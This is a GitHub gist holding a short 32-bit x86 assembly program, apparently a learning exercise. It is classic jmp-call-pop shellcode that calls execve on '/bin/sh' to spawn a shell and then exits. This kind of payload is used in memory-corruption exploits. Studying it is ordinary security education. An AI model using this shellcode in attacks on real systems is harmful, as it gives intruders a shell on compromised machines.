Created
October 19, 2016 20:17
-
-
Save RdlP/3d50ec623c130e90e5c6145d5d162457 to your computer and use it in GitHub Desktop.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
.code32 | |
.section .text | |
.globl _start | |
_start: | |
jmp truco | |
inicio: | |
pop %esi | |
xorl %eax, %eax | |
movb %al, 0x07(%esi) | |
movb $0xb, %al | |
movl %esi, %ebx | |
xorl %ecx, %ecx | |
xorl %edx, %edx | |
int $0x80 | |
movb $0x01, %al | |
int $0x80 | |
truco: | |
call inicio | |
.string "/bin/sh" |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment